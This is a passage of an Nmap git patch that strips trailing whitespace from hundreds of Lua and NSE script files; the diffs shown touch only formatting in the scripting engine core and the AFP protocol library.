From 620f9fdb34051c943e2734e587f89d00bdcec757 Mon Sep 17 00:00:00 2001 From: dmiller Date: Thu, 23 Jan 2014 21:51:58 +0000 Subject: [PATCH] Remove trailing whitespace in lua files Whitespace is not significant, so this should not be a problem. https://secwiki.org/w/Nmap/Code_Standards --- docs/style/lua-format.lua | 2 +- nse_main.lua | 22 +- nselib/afp.lua | 278 +-- nselib/ajp.lua | 124 +- nselib/asn1.lua | 46 +- nselib/base32.lua | 14 +- nselib/base64.lua | 10 +- nselib/bitcoin.lua | 232 +-- nselib/bittorrent.lua | 308 ++-- nselib/bjnp.lua | 82 +- nselib/brute.lua | 204 +-- nselib/cassandra.lua | 28 +- nselib/citrixxml.lua | 168 +- nselib/comm.lua | 14 +- nselib/creds.lua | 68 +- nselib/cvs.lua | 18 +- .../http-default-accounts-fingerprints.lua | 6 +- .../data/http-devframework-fingerprints.lua | 58 +- nselib/data/http-fingerprints.lua | 32 +- nselib/data/ike-fingerprints.lua | 28 +- nselib/data/psexec/backdoor.lua | 6 +- nselib/data/psexec/default.lua | 34 +- nselib/data/psexec/drives.lua | 4 +- nselib/data/psexec/examples.lua | 10 +- nselib/data/psexec/experimental.lua | 6 +- nselib/data/psexec/network.lua | 26 +- nselib/data/psexec/pwdump.lua | 10 +- nselib/datafiles.lua | 2 +- nselib/dhcp.lua | 174 +- nselib/dhcp6.lua | 134 +- nselib/dns.lua | 14 +- nselib/dnsbl.lua | 86 +- nselib/dnssd.lua | 46 +- nselib/drda.lua | 156 +- nselib/eap.lua | 44 +- nselib/eigrp.lua | 18 +- nselib/formulas.lua | 8 +- nselib/giop.lua | 208 +-- nselib/gps.lua | 34 +- nselib/httpspider.lua | 232 +-- nselib/iax2.lua | 96 +- nselib/imap.lua | 62 +- nselib/informix.lua | 402 ++--- nselib/ipOps.lua | 10 +- nselib/ipp.lua | 132 +- nselib/iscsi.lua | 240 +-- nselib/isns.lua | 118 +- nselib/jdwp.lua | 326 ++-- nselib/json.lua | 66 +- nselib/ldap.lua | 182 +- nselib/listop.lua | 12 +- nselib/match.lua | 8 +- nselib/membase.lua | 68 +- nselib/mobileme.lua | 42 +- nselib/mongodb.lua | 146 +- nselib/msrpc.lua | 672 ++++---- nselib/msrpcperformance.lua | 68 +- nselib/msrpctypes.lua | 1516 ++++++++--------- nselib/mssql.lua | 806 ++++----- nselib/mysql.lua | 174 +- nselib/natpmp.lua | 76 +- nselib/ncp.lua | 322 ++-- nselib/ndmp.lua | 124 +- nselib/netbios.lua | 82 +- nselib/nrpc.lua | 50 +- nselib/nsedebug.lua | 20 +- nselib/omp2.lua | 2 +- nselib/ospf.lua | 10 +- nselib/packet.lua | 10 +- nselib/pgsql.lua | 74 +- nselib/pop3.lua | 64 +- nselib/pppoe.lua | 304 ++-- nselib/proxy.lua | 36 +- nselib/rdp.lua | 90 +- nselib/redis.lua | 48 +- nselib/rmi.lua | 480 +++--- nselib/rpc.lua | 168 +- nselib/rpcap.lua | 132 +- nselib/rsync.lua | 30 +- nselib/rtsp.lua | 76 +- nselib/sasl.lua | 36 +- nselib/shortport.lua | 4 +- nselib/sip.lua | 204 +-- nselib/smb.lua | 754 ++++---- nselib/smbauth.lua | 212 +-- nselib/smtp.lua | 34 +- nselib/snmp.lua | 78 +- nselib/socks.lua | 106 +- nselib/srvloc.lua | 60 +- nselib/ssh1.lua | 6 +- nselib/ssh2.lua | 4 +- nselib/sslcert.lua | 50 +- nselib/stdnse.lua | 92 +- nselib/strbuf.lua | 2 +- nselib/strict.lua | 6 +- nselib/stun.lua | 104 +- nselib/tab.lua | 2 +- nselib/tftp.lua | 80 +- nselib/tns.lua | 296 ++-- nselib/unittest.lua | 2 +- nselib/unpwdb.lua | 2 +- nselib/upnp.lua | 82 +- nselib/url.lua | 8 +- nselib/versant.lua | 88 +- nselib/vnc.lua | 54 +- nselib/vulns.lua | 44 +- nselib/vuzedht.lua | 120 +- nselib/wsdd.lua | 86 +- nselib/xdmcp.lua | 88 +- nselib/xmpp.lua | 106 +- scripts/acarsd-info.nse | 4 +- scripts/address-info.nse | 46 +- scripts/afp-brute.nse | 22 +- scripts/afp-ls.nse | 20 +- scripts/afp-path-vuln.nse | 14 +- scripts/afp-serverinfo.nse | 26 +- scripts/afp-showmount.nse | 4 +- scripts/ajp-auth.nse | 6 +- scripts/ajp-brute.nse | 28 +- scripts/ajp-headers.nse | 6 +- scripts/ajp-methods.nse | 10 +- scripts/ajp-request.nse | 16 +- scripts/auth-owners.nse | 2 +- scripts/backorifice-brute.nse | 72 +- scripts/backorifice-info.nse | 12 +- scripts/bitcoin-getaddr.nse | 10 +- scripts/bitcoin-info.nse | 14 +- scripts/bitcoinrpc-info.nse | 2 +- scripts/bittorrent-discovery.nse | 20 +- scripts/bjnp-discover.nse | 4 +- scripts/broadcast-ataoe-discover.nse | 44 +- scripts/broadcast-avahi-dos.nse | 10 +- scripts/broadcast-bjnp-discover.nse | 16 +- scripts/broadcast-db2-discover.nse | 12 +- scripts/broadcast-dhcp-discover.nse | 30 +- scripts/broadcast-dhcp6-discover.nse | 6 +- scripts/broadcast-dns-service-discovery.nse | 8 +- scripts/broadcast-dropbox-listener.nse | 4 +- scripts/broadcast-eigrp-discovery.nse | 8 +- scripts/broadcast-igmp-discovery.nse | 16 +- scripts/broadcast-listener.nse | 42 +- scripts/broadcast-ms-sql-discover.nse | 16 +- scripts/broadcast-netbios-master-browser.nse | 6 +- scripts/broadcast-networker-discover.nse | 20 +- scripts/broadcast-novell-locate.nse | 12 +- scripts/broadcast-pc-anywhere.nse | 10 +- scripts/broadcast-pc-duo.nse | 28 +- scripts/broadcast-pim-discovery.nse | 18 +- scripts/broadcast-ping.nse | 106 +- scripts/broadcast-pppoe-discover.nse | 18 +- scripts/broadcast-rip-discover.nse | 50 +- scripts/broadcast-ripng-discover.nse | 50 +- scripts/broadcast-sybase-asa-discover.nse | 26 +- scripts/broadcast-tellstick-discover.nse | 6 +- scripts/broadcast-upnp-info.nse | 6 +- scripts/broadcast-versant-locate.nse | 6 +- scripts/broadcast-wake-on-lan.nse | 6 +- scripts/broadcast-wpad-discover.nse | 42 +- scripts/broadcast-wsdd-discover.nse | 14 +- scripts/broadcast-xdmcp-discover.nse | 10 +- scripts/cassandra-brute.nse | 20 +- scripts/cassandra-info.nse | 12 +- scripts/citrix-brute-xml.nse | 38 +- scripts/citrix-enum-apps-xml.nse | 36 +- scripts/citrix-enum-apps.nse | 30 +- scripts/citrix-enum-servers-xml.nse | 8 +- scripts/citrix-enum-servers.nse | 32 +- scripts/couchdb-databases.nse | 24 +- scripts/couchdb-stats.nse | 36 +- scripts/creds-summary.nse | 4 +- scripts/cups-info.nse | 16 +- scripts/cups-queue-info.nse | 6 +- scripts/cvs-brute-repository.nse | 26 +- scripts/cvs-brute.nse | 32 +- scripts/daap-get-library.nse | 114 +- scripts/db2-das-info.nse | 128 +- scripts/db2-discover.nse | 18 +- scripts/dhcp-discover.nse | 24 +- scripts/dict-info.nse | 14 +- scripts/distcc-cve2004-2687.nse | 16 +- scripts/dns-blacklist.nse | 18 +- scripts/dns-brute.nse | 2 +- scripts/dns-check-zone.nse | 132 +- scripts/dns-client-subnet-scan.nse | 12 +- scripts/dns-fuzz.nse | 24 +- scripts/dns-ip6-arpa-scan.nse | 10 +- scripts/dns-nsec3-enum.nse | 48 +- scripts/dns-nsid.nse | 8 +- scripts/dns-random-srcport.nse | 4 +- scripts/dns-random-txid.nse | 4 +- scripts/dns-service-discovery.nse | 4 +- scripts/dns-srv-enum.nse | 14 +- scripts/dns-update.nse | 12 +- scripts/dns-zeustracker.nse | 12 +- scripts/dns-zone-transfer.nse | 42 +- scripts/domcon-brute.nse | 36 +- scripts/domcon-cmd.nse | 26 +- scripts/domino-enum-users.nse | 32 +- scripts/dpap-brute.nse | 30 +- scripts/drda-brute.nse | 30 +- scripts/drda-info.nse | 16 +- scripts/duplicates.nse | 34 +- scripts/eap-info.nse | 34 +- scripts/epmd-info.nse | 2 +- scripts/eppc-enum-processes.nse | 30 +- scripts/flume-master-info.nse | 14 +- scripts/ftp-anon.nse | 4 +- scripts/ftp-bounce.nse | 12 +- scripts/ftp-brute.nse | 12 +- scripts/ftp-libopie.nse | 2 +- scripts/ftp-vsftpd-backdoor.nse | 8 +- scripts/ftp-vuln-cve2010-4221.nse | 6 +- scripts/giop-info.nse | 18 +- scripts/gkrellm-info.nse | 16 +- scripts/gopher-ls.nse | 2 +- scripts/gpsd-info.nse | 14 +- scripts/hostmap-bfk.nse | 4 +- scripts/hostmap-ip2hosts.nse | 8 +- scripts/hostmap-robtex.nse | 6 +- scripts/http-adobe-coldfusion-apsa1301.nse | 6 +- scripts/http-apache-negotiation.nse | 18 +- scripts/http-auth-finder.nse | 4 +- scripts/http-auth.nse | 2 +- scripts/http-awstatstotals-exec.nse | 8 +- scripts/http-axis2-dir-traversal.nse | 18 +- scripts/http-backup-finder.nse | 20 +- scripts/http-barracuda-dir-traversal.nse | 2 +- scripts/http-brute.nse | 34 +- scripts/http-cakephp-version.nse | 14 +- scripts/http-chrono.nse | 16 +- scripts/http-coldfusion-subzero.nse | 6 +- scripts/http-comments-displayer.nse | 40 +- scripts/http-csrf.nse | 56 +- scripts/http-default-accounts.nse | 28 +- scripts/http-devframework.nse | 36 +- scripts/http-dlink-backdoor.nse | 6 +- scripts/http-dombased-xss.nse | 32 +- scripts/http-domino-enum-passwords.nse | 56 +- scripts/http-drupal-enum-users.nse | 10 +- scripts/http-drupal-modules.nse | 14 +- scripts/http-email-harvest.nse | 10 +- scripts/http-enum.nse | 56 +- scripts/http-errors.nse | 42 +- scripts/http-exif-spider.nse | 4 +- scripts/http-favicon.nse | 6 +- scripts/http-feed.nse | 36 +- scripts/http-fileupload-exploiter.nse | 94 +- scripts/http-form-brute.nse | 64 +- scripts/http-form-fuzzer.nse | 14 +- scripts/http-gitweb-projects-enum.nse | 10 +- scripts/http-google-malware.nse | 18 +- scripts/http-grep.nse | 14 +- scripts/http-huawei-hg5xx-vuln.nse | 22 +- scripts/http-icloud-findmyiphone.nse | 8 +- scripts/http-icloud-sendmsg.nse | 10 +- scripts/http-iis-short-name-brute.nse | 42 +- scripts/http-iis-webdav-vuln.nse | 14 +- scripts/http-joomla-brute.nse | 44 +- .../http-litespeed-sourcecode-download.nse | 6 +- scripts/http-majordomo2-dir-traversal.nse | 10 +- scripts/http-malware-host.nse | 8 +- scripts/http-method-tamper.nse | 34 +- scripts/http-mobileversion-checker.nse | 18 +- scripts/http-open-proxy.nse | 24 +- scripts/http-open-redirect.nse | 10 +- scripts/http-phpmyadmin-dir-traversal.nse | 4 +- scripts/http-phpself-xss.nse | 14 +- scripts/http-proxy-brute.nse | 20 +- scripts/http-put.nse | 4 +- scripts/http-qnap-nas-info.nse | 4 +- scripts/http-referer-checker.nse | 24 +- scripts/http-rfi-spider.nse | 18 +- scripts/http-robots.txt.nse | 26 +- scripts/http-robtex-reverse-ip.nse | 8 +- scripts/http-robtex-shared-ns.nse | 10 +- scripts/http-server-header.nse | 2 +- scripts/http-sitemap-generator.nse | 12 +- scripts/http-slowloris-check.nse | 36 +- scripts/http-sql-injection.nse | 30 +- scripts/http-stored-xss.nse | 108 +- scripts/http-tplink-dir-traversal.nse | 14 +- scripts/http-trace.nse | 8 +- scripts/http-traceroute.nse | 12 +- scripts/http-unsafe-output-escaping.nse | 20 +- scripts/http-useragent-tester.nse | 46 +- scripts/http-userdir-enum.nse | 2 +- scripts/http-vhosts.nse | 20 +- scripts/http-virustotal.nse | 38 +- scripts/http-vlcstreamer-ls.nse | 8 +- scripts/http-vmware-path-vuln.nse | 2 +- scripts/http-vuln-cve2009-3960.nse | 42 +- scripts/http-vuln-cve2010-0738.nse | 8 +- scripts/http-vuln-cve2010-2861.nse | 6 +- scripts/http-vuln-cve2011-3192.nse | 2 +- scripts/http-vuln-cve2011-3368.nse | 32 +- scripts/http-vuln-cve2012-1823.nse | 4 +- scripts/http-vuln-cve2013-0156.nse | 20 +- scripts/http-vuln-zimbra-lfi.nse | 58 +- scripts/http-waf-detect.nse | 30 +- scripts/http-waf-fingerprint.nse | 86 +- scripts/http-wordpress-brute.nse | 4 +- scripts/http-wordpress-enum.nse | 6 +- scripts/http-xssed.nse | 20 +- scripts/iax2-brute.nse | 12 +- scripts/iax2-version.nse | 4 +- scripts/icap-info.nse | 16 +- scripts/ike-version.nse | 6 +- scripts/imap-brute.nse | 28 +- scripts/informix-brute.nse | 26 +- scripts/informix-query.nse | 20 +- scripts/informix-tables.nse | 58 +- scripts/ip-forwarding.nse | 12 +- scripts/ip-geolocation-geobytes.nse | 6 +- scripts/ip-geolocation-geoplugin.nse | 14 +- scripts/ip-geolocation-ipinfodb.nse | 22 +- scripts/ip-geolocation-maxmind.nse | 88 +- scripts/ipidseq.nse | 2 +- scripts/ipv6-ra-flood.nse | 54 +- scripts/irc-brute.nse | 22 +- scripts/irc-sasl-brute.nse | 24 +- scripts/irc-unrealircd-backdoor.nse | 30 +- scripts/iscsi-brute.nse | 16 +- scripts/iscsi-info.nse | 16 +- scripts/isns-info.nse | 14 +- scripts/jdwp-exec.nse | 26 +- scripts/jdwp-info.nse | 22 +- scripts/jdwp-inject.nse | 20 +- scripts/jdwp-version.nse | 4 +- scripts/krb5-enum-users.nse | 26 +- scripts/ldap-brute.nse | 82 +- scripts/ldap-novell-getpass.nse | 22 +- scripts/ldap-rootdse.nse | 26 +- scripts/ldap-search.nse | 82 +- scripts/lexmark-config.nse | 14 +- scripts/llmnr-resolve.nse | 16 +- scripts/lltd-discovery.nse | 86 +- scripts/maxdb-info.nse | 18 +- scripts/membase-brute.nse | 28 +- scripts/membase-http-info.nse | 22 +- scripts/memcached-info.nse | 20 +- scripts/metasploit-info.nse | 54 +- scripts/metasploit-msgrpc-brute.nse | 26 +- scripts/metasploit-xmlrpc-brute.nse | 10 +- scripts/mmouse-brute.nse | 30 +- scripts/mmouse-exec.nse | 26 +- scripts/mongodb-brute.nse | 20 +- scripts/mongodb-databases.nse | 18 +- scripts/mongodb-info.nse | 26 +- scripts/mrinfo.nse | 18 +- scripts/ms-sql-brute.nse | 66 +- scripts/ms-sql-config.nse | 42 +- scripts/ms-sql-dac.nse | 8 +- scripts/ms-sql-dump-hashes.nse | 30 +- scripts/ms-sql-empty-password.nse | 34 +- scripts/ms-sql-hasdbaccess.nse | 34 +- scripts/ms-sql-info.nse | 36 +- scripts/ms-sql-query.nse | 22 +- scripts/ms-sql-tables.nse | 64 +- scripts/ms-sql-xp-cmdshell.nse | 32 +- scripts/msrpc-enum.nse | 10 +- scripts/mtrace.nse | 34 +- scripts/mysql-audit.nse | 16 +- scripts/mysql-databases.nse | 8 +- scripts/mysql-dump-hashes.nse | 8 +- scripts/mysql-empty-password.nse | 14 +- scripts/mysql-enum.nse | 8 +- scripts/mysql-query.nse | 12 +- scripts/mysql-users.nse | 18 +- scripts/mysql-variables.nse | 24 +- scripts/mysql-vuln-cve2012-2122.nse | 8 +- scripts/nat-pmp-info.nse | 6 +- scripts/nat-pmp-mapport.nse | 22 +- scripts/nbstat.nse | 12 +- scripts/ncp-enum-users.nse | 6 +- scripts/ncp-serverinfo.nse | 4 +- scripts/ndmp-fs-info.nse | 8 +- scripts/ndmp-version.nse | 10 +- scripts/nessus-brute.nse | 26 +- scripts/nessus-xmlrpc-brute.nse | 14 +- scripts/netbus-info.nse | 4 +- scripts/nexpose-brute.nse | 6 +- scripts/nfs-ls.nse | 12 +- scripts/nfs-showmount.nse | 10 +- scripts/nfs-statfs.nse | 8 +- scripts/nping-brute.nse | 24 +- scripts/ntp-info.nse | 12 +- scripts/openlookup-info.nse | 4 +- scripts/openvas-otp-brute.nse | 14 +- scripts/oracle-brute-stealth.nse | 4 +- scripts/oracle-brute.nse | 36 +- scripts/oracle-enum-users.nse | 40 +- scripts/oracle-sid-brute.nse | 36 +- scripts/p2p-conficker.nse | 100 +- scripts/path-mtu.nse | 4 +- scripts/pcanywhere-brute.nse | 22 +- scripts/pgsql-brute.nse | 36 +- scripts/pjl-ready-message.nse | 26 +- scripts/pptp-version.nse | 12 +- scripts/qconn-exec.nse | 12 +- scripts/qscan.nse | 4 +- scripts/quake3-info.nse | 2 +- scripts/quake3-master-getservers.nse | 2 +- scripts/rdp-enum-encryption.nse | 22 +- scripts/rdp-vuln-ms12-020.nse | 4 +- scripts/realvnc-auth-bypass.nse | 2 +- scripts/redis-brute.nse | 32 +- scripts/redis-info.nse | 12 +- scripts/resolveall.nse | 4 +- scripts/reverse-index.nse | 24 +- scripts/rexec-brute.nse | 28 +- scripts/riak-http-info.nse | 16 +- scripts/rmi-dumpregistry.nse | 32 +- scripts/rpc-grind.nse | 2 +- scripts/rpcap-brute.nse | 20 +- scripts/rpcap-info.nse | 12 +- scripts/rpcinfo.nse | 12 +- scripts/rsync-brute.nse | 20 +- scripts/rsync-list-modules.nse | 6 +- scripts/rtsp-methods.nse | 2 +- scripts/rtsp-url-brute.nse | 24 +- scripts/samba-vuln-cve-2012-1182.nse | 34 +- scripts/servicetags.nse | 26 +- scripts/sip-brute.nse | 14 +- scripts/sip-call-spoof.nse | 10 +- scripts/sip-enum-users.nse | 26 +- scripts/sip-methods.nse | 2 +- scripts/skypev2-version.nse | 4 +- scripts/smb-brute.nse | 282 +-- scripts/smb-check-vulns.nse | 136 +- scripts/smb-enum-domains.nse | 22 +- scripts/smb-enum-groups.nse | 20 +- scripts/smb-enum-sessions.nse | 68 +- scripts/smb-enum-shares.nse | 24 +- scripts/smb-enum-users.nse | 76 +- scripts/smb-ls.nse | 32 +- scripts/smb-mbenum.nse | 34 +- scripts/smb-os-discovery.nse | 16 +- scripts/smb-print-text.nse | 46 +- scripts/smb-psexec.nse | 332 ++-- scripts/smb-security-mode.nse | 6 +- scripts/smb-server-stats.nse | 12 +- scripts/smb-system-info.nse | 18 +- scripts/smb-vuln-ms10-054.nse | 28 +- scripts/smb-vuln-ms10-061.nse | 38 +- scripts/smbv2-enabled.nse | 2 +- scripts/smtp-brute.nse | 34 +- scripts/smtp-commands.nse | 4 +- scripts/smtp-enum-users.nse | 8 +- scripts/smtp-open-relay.nse | 16 +- scripts/smtp-strangeport.nse | 4 +- scripts/smtp-vuln-cve2010-4344.nse | 14 +- scripts/smtp-vuln-cve2011-1720.nse | 14 +- scripts/smtp-vuln-cve2011-1764.nse | 6 +- scripts/snmp-brute.nse | 38 +- scripts/snmp-hh3c-logins.nse | 12 +- scripts/snmp-interfaces.nse | 206 +-- scripts/snmp-ios-config.nse | 38 +- scripts/snmp-netstat.nse | 18 +- scripts/snmp-processes.nse | 46 +- scripts/snmp-sysdescr.nse | 38 +- scripts/snmp-win32-services.nse | 14 +- scripts/snmp-win32-shares.nse | 26 +- scripts/snmp-win32-software.nse | 30 +- scripts/snmp-win32-users.nse | 16 +- scripts/socks-auth-info.nse | 4 +- scripts/socks-brute.nse | 16 +- scripts/socks-open-proxy.nse | 16 +- scripts/ssh-hostkey.nse | 32 +- scripts/ssh2-enum-algos.nse | 2 +- scripts/sshv1.nse | 2 +- scripts/ssl-date.nse | 4 +- scripts/ssl-enum-ciphers.nse | 6 +- scripts/ssl-google-cert-catalog.nse | 2 +- scripts/sslv2.nse | 4 +- scripts/stun-info.nse | 6 +- scripts/stun-version.nse | 2 +- scripts/svn-brute.nse | 74 +- scripts/targets-asn.nse | 2 +- scripts/targets-ipv6-multicast-mld.nse | 10 +- scripts/targets-sniffer.nse | 4 +- scripts/telnet-brute.nse | 6 +- scripts/telnet-encryption.nse | 6 +- scripts/tls-nextprotoneg.nse | 4 +- scripts/traceroute-geolocation.nse | 6 +- scripts/unusual-port.nse | 16 +- scripts/upnp-info.nse | 4 +- scripts/url-snarf.nse | 8 +- scripts/versant-info.nse | 16 +- scripts/vmauthd-brute.nse | 20 +- scripts/vnc-brute.nse | 28 +- scripts/vnc-info.nse | 10 +- scripts/voldemort-info.nse | 18 +- scripts/vuze-dht-info.nse | 12 +- scripts/weblogic-t3-info.nse | 8 +- scripts/whois-domain.nse | 6 +- scripts/wsdd-discover.nse | 12 +- scripts/xdmcp-discover.nse | 8 +- scripts/xmpp-brute.nse | 32 +- scripts/xmpp-info.nse | 40 +- 499 files changed, 11134 insertions(+), 11134 deletions(-) diff --git a/docs/style/lua-format.lua b/docs/style/lua-format.lua index 255b74620..470d4ab6c 100755 --- a/docs/style/lua-format.lua +++ b/docs/style/lua-format.lua @@ -219,7 +219,7 @@ local lua = lpeg.locale { -- This is an expression which is always truncated to 1 result, and so we can remove -- redundant parenthesis. - _single_exp = P "(" * V "whitespace" * V "_single_exp" * V "whitespace" * P ")" * -(V "whitespace" * (V "suffix" + V "binop")) + + _single_exp = P "(" * V "whitespace" * V "_single_exp" * V "whitespace" * P ")" * -(V "whitespace" * (V "suffix" + V "binop")) + V "exp"; _oneline_exp = Cg(Cg(Cc " ", "newline") * Cg(Cc "", "indent") * Cg(Cc "", "indent_space") * V "_single_exp"); diff --git a/nse_main.lua b/nse_main.lua index 5fa3cc229..b7cae0635 100644 --- a/nse_main.lua +++ b/nse_main.lua @@ -330,7 +330,7 @@ do if not self.worker then -- Structure table and unstructured string outputs. local tab, str - + if r2 then tab, str = r1, tostring(r2); elseif type(r1) == "string" then @@ -340,7 +340,7 @@ do else tab, str = r1, nil; end - + if self.type == "prerule" or self.type == "postrule" then cnse.script_set_output(self.id, tab, str); elseif self.type == "hostrule" then @@ -572,12 +572,12 @@ do local postrule = rules.postrule; -- Assert that categories is an array of strings for i, category in ipairs(rawget(env, "categories")) do - assert(type(category) == "string", + assert(type(category) == "string", filename.." has non-string entries in the 'categories' array"); end -- Assert that dependencies is an array of strings for i, dependency in ipairs(rawget(env, "dependencies")) do - assert(type(dependency) == "string", + assert(type(dependency) == "string", filename.." has non-string entries in the 'dependencies' array"); end -- Return the script @@ -624,7 +624,7 @@ end -- Arguments: -- rules The array of rules to use for loading scripts. -- Returns: --- chosen_scripts The array of scripts loaded for the given rules. +-- chosen_scripts The array of scripts loaded for the given rules. local function get_chosen_scripts (rules) check_rules(rules); @@ -745,7 +745,7 @@ local function get_chosen_scripts (rules) " -> script rule expression not supported."); end -- The script rule matches a category or a pattern - if found then + if found then used_rules[rule_table.original_rule] = true; script_params.forced = not not forced_rules[rule_table.original_rule]; local t, path = cnse.fetchscript(filename); @@ -806,7 +806,7 @@ local function get_chosen_scripts (rules) local chain = {}; -- chain of script names local function calculate_runlevel (script) chain[#chain+1] = script.short_basename; - if script.runlevel == false then -- circular dependency + if script.runlevel == false then -- circular dependency error("circular dependency in chain `"..concat(chain, "->").."`"); else script.runlevel = false; -- placeholder @@ -1174,7 +1174,7 @@ do -- Load script arguments (--script-args) "' is invalid or is unterminated by a valid seperator"); end end - -- Takes 'str' at index 'start' and parses a table. + -- Takes 'str' at index 'start' and parses a table. -- Returns the table and the place in the string it finished reading. local function parse_table (str, start) local _, j = find(str, "^%s*{", start); @@ -1303,13 +1303,13 @@ local function main (hosts, scantype) -- parent A table that contains the parent thread table (it self). -- close_handlers -- A table that contains the thread destructor handlers. - -- info A string that contains the script name and the thread + -- info A string that contains the script name and the thread -- debug information. - -- args A table that contains the arguments passed to scripts, + -- args A table that contains the arguments passed to scripts, -- arguments can be host and port tables. -- env A table that contains the global script environment: -- categories, description, author, license, nmap table, - -- action function, rule functions, SCRIPT_PATH, + -- action function, rule functions, SCRIPT_PATH, -- SCRIPT_NAME, SCRIPT_TYPE (pre|host|port|post rule). -- identifier -- A string to identify the thread address. diff --git a/nselib/afp.lua b/nselib/afp.lua index 2a259fd2c..a8a23fd79 100644 --- a/nselib/afp.lua +++ b/nselib/afp.lua @@ -1,6 +1,6 @@ --- -- This library was written by Patrik Karlsson to facilitate --- communication with the Apple AFP Service. It is not feature complete and +-- communication with the Apple AFP Service. It is not feature complete and -- still missing several functions. -- -- The library currently supports @@ -44,7 +44,7 @@ -- status, response = helper:CloseSession() -- -- --- Here's the longer version, with some explanatory text. To start using the Helper class, +-- Here's the longer version, with some explanatory text. To start using the Helper class, -- the script has to create it's own instance. We do this by issuing the following: -- -- helper = afp.Helper:new() @@ -93,7 +93,7 @@ -- -- Version 0.5 --- +-- -- Created 01/03/2010 - v0.1 - created by Patrik Karlsson -- Revised 01/20/2010 - v0.2 - updated all bitmaps to hex for better readability -- Revised 02/15/2010 - v0.3 - added a bunch of new functions and re-designed the code to be OO @@ -241,25 +241,25 @@ ACLS = { OwnerSearch = 0x1, OwnerRead = 0x2, OwnerWrite = 0x4, - + GroupSearch = 0x100, GroupRead = 0x200, GroupWrite = 0x400, - + EveryoneSearch = 0x10000, EveryoneRead = 0x20000, EveryoneWrite = 0x40000, - + UserSearch = 0x100000, UserRead = 0x200000, UserWrite = 0x400000, - + BlankAccess = 0x10000000, UserIsOwner = 0x80000000 } -- User authentication modules -UAM = +UAM = { NoUserAuth = "No User Authent", ClearText = "Cleartxt Passwrd", @@ -271,11 +271,11 @@ UAM = Reconnect = "Recon1", } -ERROR = +ERROR = { SocketError = 1000, CustomError = 0xdeadbeef, - + FPNoErr = 0, FPAccessDenied = -5000, FPAuthContinue = -5001, @@ -331,7 +331,7 @@ SERVERFLAGS = SuperClient = 0x8000 } -local ERROR_MSG = { +local ERROR_MSG = { [ERROR.FPAccessDenied]="Access Denied", [ERROR.FPAuthContinue]="Authentication is not yet complete", [ERROR.FPBadUAM]="Specified UAM is unknown", @@ -356,28 +356,28 @@ end -- Response class returned by all functions in Proto Response = { - + new = function(self,o) o = o or {} setmetatable(o, self) self.__index = self return o end, - + --- Sets the error code -- -- @param code number containing the error code setErrorCode = function( self, code ) self.error_code = code end, - + --- Gets the error code -- -- @return code number containing the error code getErrorCode = function( self ) return self.error_code end, - + --- Gets the error message -- -- @return msg string containing the error @@ -388,7 +388,7 @@ Response = { return ERROR_MSG[self.error_code] or ("Unknown error (%d) occured"):format(self.error_code) end end, - + --- Sets the error message -- -- @param msg string containing the error message @@ -396,35 +396,35 @@ Response = { self.error_code = ERROR.CustomError self.error_msg = msg end, - + --- Sets the result -- -- @param result result to set setResult = function(self, result) self.result = result end, - + --- Get the result -- - -- @return result + -- @return result getResult = function(self) return self.result end, - + --- Sets the packet setPacket = function( self, packet ) self.packet = packet end, - + getPacket = function( self ) return self.packet end, - + --- Gets the packet data getPacketData = function(self) return self.packet.data end, - + --- Gets the packet header getPacketHeader = function(self) return self.packet.header @@ -436,9 +436,9 @@ Response = { -- For more details consult: -- http://developer.apple.com/mac/library/documentation/Networking/Reference/AFP_Reference/Reference/reference.html Proto = { - + RequestId = 1, - + new = function(self,o) o = o or {} setmetatable(o, self) @@ -455,7 +455,7 @@ Proto = { -- @param command number should be one of the commands in the COMMAND table -- @param data_offset number holding the offset to the data -- @param data the actual data of the request - create_fp_packet = function( self, command, data_offset, data ) + create_fp_packet = function( self, command, data_offset, data ) local reserved = 0 local data = data or "" local data_len = data:len() @@ -493,7 +493,7 @@ Proto = { local packet = {} local buf = "" local status, response - + status, buf = self.socket:receive_bytes(16) if ( not status ) then response = Response:new() @@ -501,7 +501,7 @@ Proto = { response:setErrorMessage(buf) return response end - + packet.header = self:parse_fp_header( buf ) while buf:len() < packet.header.length + packet.header.raw:len() do local tmp @@ -548,7 +548,7 @@ Proto = { return self:read_fp_packet() end, - --- Sends an DSICloseSession request to the server and handles the response + --- Sends an DSICloseSession request to the server and handles the response dsi_close_session = function( self ) local data_offset = 0 local option = 0x01 -- Attention Quantum @@ -586,7 +586,7 @@ Proto = { data = data .. bin.pack(">CIP", unicode_names, unicode_hint, src_path ) data = data .. bin.pack(">CIP", unicode_names, unicode_hint, dst_path ) data = data .. bin.pack(">CIP", unicode_names, unicode_hint, new_name ) - + packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) self:send_fp_packet( packet ) return self:read_fp_packet() @@ -597,7 +597,7 @@ Proto = { -- -- @return status (true or false) -- @return table with server information (if status is true) or error string - -- (if status is false) + -- (if status is false) fp_get_server_info = function(self) local packet local data_offset = 0 @@ -800,7 +800,7 @@ Proto = { --- Sends an FPGetUserInfo AFP request to the server and handles the response -- - -- @return response object with the following result user_bitmap and + -- @return response object with the following result user_bitmap and -- uid fields fp_get_user_info = function( self ) @@ -821,14 +821,14 @@ Proto = { end pos, response.result.user_bitmap, response.result.uid = bin.unpack(">S>I", packet.data) - + return response end, --- Sends an FPGetSrvrParms AFP request to the server and handles the response -- -- @return response object with the following result server_time, - -- vol_count, volumes fields + -- vol_count, volumes fields fp_get_srvr_parms = function(self) local packet, status, data local data_offset = 0 @@ -890,7 +890,7 @@ Proto = { response:setErrorMessage("OpenSSL not available, aborting ...") return response end - + -- currently we only support AFP3.3 if afp_version == nil or ( afp_version ~= "AFP3.3" and afp_version ~= "AFP3.2" and afp_version ~= "AFP3.1" ) then response = Response:new() @@ -934,7 +934,7 @@ Proto = { end _, Id, Mb, EncData = bin.unpack(">SH16A32", response.packet.data ) - + Mb = openssl.bignum_hex2bn( Mb ) K = openssl.bignum_mod_exp (Mb, Ra, p) K_bin = openssl.bignum_bn2bin(K) @@ -942,7 +942,7 @@ Proto = { nonce = openssl.bignum_add( openssl.bignum_bin2bn(nonce), openssl.bignum_dec2bn("1") ) PlainText = openssl.bignum_bn2bin(nonce) .. Util.ZeroPad(password, 64) auth_response = openssl.encrypt( "cast5-cbc", K_bin, dhx_c2civ, PlainText, true) - + data = bin.pack( "CC>SA", COMMAND.FPLoginCont, 0, Id, auth_response ) packet = self:create_fp_packet( REQUEST.Command, data_offset, data ) self:send_fp_packet( packet ) @@ -956,13 +956,13 @@ Proto = { return response end, - -- Terminates sessions and frees server resources established by FPLoginand FPLoginExt. + -- Terminates sessions and frees server resources established by FPLoginand FPLoginExt. -- -- @return response 